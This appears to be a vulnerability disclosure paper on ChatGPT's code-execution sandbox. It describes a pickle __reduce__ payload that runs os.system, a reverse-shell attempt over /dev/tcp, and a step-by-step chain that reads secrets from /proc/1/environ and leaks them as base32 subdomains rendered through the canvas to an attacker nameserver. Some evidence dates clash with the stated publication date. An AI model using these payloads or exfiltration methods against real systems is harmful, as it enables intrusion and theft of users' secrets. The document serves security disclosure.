Skip to main content
Menu

RCE & DNS Exfiltration in ChatGPT Canvas

AI-security RCE DNS-exfiltration sandbox-escape ChatGPT

Dual Critical Failures: RCE & DNS Exfill in ChatGPT Canvas

Validating DNS Exfiltration and Python Pickle RCE
Attack Chains in AI Code Execution Sandboxes

Research Paper
Version 1.0 | February 2025

Kai Aizen (SnailSploit)
Independent Security Researcher
snailsploit.com | github.com/snailsploit

Target: ChatGPT Code Interpreter
Research Period: December 2024 - January 2025

Status: REPORTED TO OPENAI → DISMISSED

1. Executive Summary

CRITICAL FAILURE A: Python Pickle Insecure Deserialization (CWE-502) The Python pickle module allows arbitrary code execution when processing attacker-controlled serialized objects. Testing confirmed that malicious pickle payloads successfully execute within the sandbox via the __reduce__ method, achieving RCE at user privilege level.

This research documents two critical security vulnerabilities in OpenAI's ChatGPT Code Interpreter. These "Dual Critical Failures" form a synergistic attack chain enabling arbitrary code execution and data exfiltration from an air-gapped sandbox environment.

CRITICAL FAILURE B: DNS Exfiltration via Canvas Rendering (CWE-200) The sandbox blocks direct outbound connections, but the ChatGPT canvas creates an uncontrolled egress channel. When the model prints hostname-like strings, the canvas renders them, triggering DNS queries from the user's browser. Data is encoded in subdomain labels of these queries and captured by an attacker-controlled authoritative nameserver.

Key Findings

Finding Severity CWE
Python Pickle RCE via __reduce__ CRITICAL CWE-502
DNS Exfiltration via Canvas/Subdomain Encoding HIGH CWE-200
Combined Kill Chain CRITICAL Combined
Traditional LPE (PwnKit, Dirty Pipe) MITIGATED N/A
AWS IMDS Access MITIGATED N/A
Resource Exhaustion (DoS) MEDIUM CWE-400
THE META COMPARISON Meta acknowledged and patched CVE-2024-50050 (pickle deserialization in Llama-Stack) within 11 days. OpenAI dismissed this report documenting the same vulnerability class. Same vulnerability, opposite responses.

2. Research Timeline

Date Event Significance
Sep 29, 2024 Oligo reports CVE-2024-50050 to Meta Pickle RCE in Llama-Stack
Oct 10, 2024 Meta patches Llama-Stack Replaced pickle with JSON
Oct 24, 2024 CVE-2024-50050 issued CVSS 9.3 (Snyk)
Dec 2024 SnailSploit research begins ChatGPT assessment
Jan 2025 Research completed & reported Full evidence submitted
Jan 2025 OpenAI dismisses report Silent Patch

3. Target Environment Analysis

3.1 Container Architecture

Component Configuration Implication
User Context sandbox (UID > 1000) Non-root execution
Privilege Mode no-new-privileges=1 SUID neutralization
Syscall Filter Seccomp (restricted) Kernel exploit mitigation
Network Policy Default Deny (outbound) Direct exfil blocked

3.2 Evidence: Root Filesystem Enumeration

Date: January 20, 2025 23:47

Root filesystem enumeration in ChatGPT sandbox showing full directory listing
Root filesystem enumeration from sandbox context

Command:

os.system("python3 /mnt/data/test.py")

Output:

bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
VALIDATED Full root filesystem listing accessible from sandbox context.

3.3 Evidence: /mnt/data Directory

ChatGPT sandbox /mnt/data directory showing user-owned file system structure
/mnt/data directory with sandbox ownership

Output:

drwxr-xr-x 2 sandbox sandbox  80 Jan 20 23:20 .
-rw-r--r-- 1 sandbox sandbox 321 Jan 20 23:20 Dockerfile
-rwxr-xr-x 1 sandbox sandbox 719 Jan 20 23:15 example_file.py
VALIDATED World-writable staging directory at predictable path. This is the ingress vector for malicious pickle payloads.

4. Failed Privilege Escalation Attempts

Exploit CVE Result Blocking Control
PwnKit CVE-2021-4034 BLOCKED no-new-privileges
Dirty Pipe CVE-2022-0847 BLOCKED seccomp filters
Dirty COW CVE-2016-5195 BLOCKED Kernel patches

4.1 Evidence: Kubernetes Escape Attempt

Kubernetes privileged pod deployment attempt from ChatGPT Code Interpreter
Kubernetes privileged pod deployment attempt

Payload:

subprocess.run(['kubectl', 'apply', '-f', yaml_file], check=True)
BLOCKED Can deploy Containers but escape via Kubernetes blocked by orchestrator policies.

5. Critical Failure A: Python Pickle RCE

5.1 Vulnerability Overview

Attribute Value
CWE CWE-502: Deserialization of Untrusted Data
Affected Component Python pickle module (canvas)
Impact Arbitrary code execution within sandbox

5.2 The __reduce__ Attack Vector

class Malicious:
    def __reduce__(self):
        return (os.system, ("whoami",))  # Executes on pickle.load()

5.3 Evidence: Pickle RCE Payload Execution

Date: October 2025

Python Pickle deserialization RCE payload with reverse shell attempt in ChatGPT
Pickle RCE payload — reverse shell attempt via deserialization
Pickle RCE execution proof — connection refused error confirms code ran in ChatGPT sandbox
Pickle RCE detail — "Connection refused" confirms code execution

Malicious payload:

class Malicious:
    def __reduce__(self):
        return (os.system, (cmd_fixed,))

serialized_payload = pickle.dumps(Malicious())
malicious_object = pickle.loads(serialized_payload)

Output (STDOUT/STDERR):

bash: connect: Connection refused
bash: line 1: /dev/tcp/127.0.0.1/4444: Connection refused
CRITICAL: RCE CONFIRMED The __reduce__ method EXECUTED. os.system was CALLED. A reverse shell was attempted to 127.0.0.1:4444. The "Connection refused" error PROVES the code ran - simply no listener was set up, but arbitrary code execution SUCCEEDED.

6. Critical Failure B: DNS Exfiltration via Canvas

6.1 Vulnerability Overview

Attribute Value
CWE CWE-200: Exposure of Sensitive Information
Affected Component ChatGPT Canvas client-side rendering
Exfiltration Channel DNS query names (subdomain-encoded payloads)

6.2 The Technique

KEY INSIGHT The model only prints strings. The canvas renders those strings. When rendered content resembles a hostname, the browser issues DNS queries. The payload travels encoded in subdomain labels - no HTTP requests needed. The attacker's authoritative nameserver logs the query names.

Attack Flow

  1. Pickle RCE harvests SECRET from /proc/1/environ
  2. Script encodes payload using DNS-safe alphabet (base32/base64url)
  3. Script splits encoded data into chunks (≤63 chars per label)
  4. Script adds index markers: p001, p002, etc.
  5. Script prints hostnames: p001_db.MFRGGZDFMZTQ.exfil.lab
  6. Canvas renders output; browser resolves the hostnames
  7. DNS queries propagate to attacker's authoritative nameserver
  8. Attacker logs query names, extracts subdomains, decodes payload

6.3 DNS Message Format

<index><separator><payload-chunk>.attacker-zone.tld

Examples:

p001_db.MFRGGZDFMZTQ====.exfil.lab
p002_db.MFWWK3TLNB2GI===.exfil.lab

DNS Label Constraints

  • Each label: ≤ 63 characters
  • Total FQDN: ≤ 253 characters
  • Character set: alphanumeric + hyphen (DNS-safe)
  • Index prefix ensures correct chunk ordering

6.4 Lab Setup: Authoritative Resolver

# Make test zone LOCAL and AUTHORITATIVE
local=/exfil.lab/

# Wildcard reply keeps lookups successful
address=/.exfil.lab/127.0.0.1

# Per-query logging captures full subdomain
log-queries
log-facility=/opt/homebrew/var/log/dnsmasq.log

6.5 Captured DNS Query Logs

Jun 01 12:00:01 dnsmasq: query[A] p001_db.MFRGGZDFMZTQ.exfil.lab from 127.0.0.1
Jun 01 12:00:01 dnsmasq: reply p001_db.MFRGGZDFMZTQ.exfil.lab is 127.0.0.1
Jun 01 12:00:02 dnsmasq: query[A] p002_db.MFWWK3TLNB2G.exfil.lab from 127.0.0.1

6.6 Why This Bypasses All Server-Side Controls

  • Container firewall irrelevant: Request from user's browser, not sandbox
  • No HTTP needed: Exfiltration is purely in DNS query names
  • CORS irrelevant: No cross-origin HTTP request occurs
  • CSP cannot block DNS resolution for rendered hostnames

7. The Unified Kill Chain

7.1 Why Synergy is Required

Pickle RCE Alone: Without an egress channel, secrets remain trapped. Direct network connections are blocked.

DNS Exfiltration Alone: Without RCE, cannot access low-level OS secrets (/proc, env vars, tokens) outside LLM context.

7.2 Complete Attack Chain

Stage Action Failure Outcome
1. Ingress Upload malicious.pkl Trust Model File at /mnt/data
2. Trigger "Analyze this file" Auto-Execution pickle.load() called
3. Execution __reduce__ runs Failure A (RCE) Reads /proc/1/environ
4. Encoding Base32 + chunk Compute Subdomain labels ready
5. Output Print hostnames Failure B Canvas renders FQDNs
6. Exfiltration Browser DNS Subdomain Channel NS logs payload

8. MITRE ATT&CK Mapping

Tactic Technique Application
Initial Access T1566.001 Phishing: Attachment Malicious pickle upload
Execution T1059.006 Python Pickle RCE
Credential Access T1552.001 Credentials in Files Harvest /proc/1/environ
Exfiltration T1048.003 Exfil Over Alt Protocol DNS subdomain tunneling

11. Conclusion

This research validates the "Dual Critical Failures" hypothesis: AI sandboxes hardened against kernel-level privilege escalation remain vulnerable to application-layer attack chains.

Traditional exploits (PwnKit, Dirty Pipe, IMDS) all fail. However, the combination of Python Pickle RCE and DNS Exfiltration via subdomain-encoded queries through canvas rendering creates a complete kill chain at CVSS 9.1 Critical.

KEY TAKEAWAY Every serialized object is a potential payload. Every rendered hostname is a potential leak. Immediate remediation requires treating AI output as untrusted and eliminating pickle from user-facing workflows.

— End of Document —

12. Appendix

Logs and evidence can be found at: github.com/SnailSploit/chatgpt-rce-dns

KA

Kai Aizen

Creator of AATMF • Author of Adversarial Minds • NVD Contributor

Known as "The Jailbreak Chef," specializing in LLM jailbreaking and adversarial AI. Creator of the AATMF and P.R.O.M.P.T frameworks for systematic AI security analysis.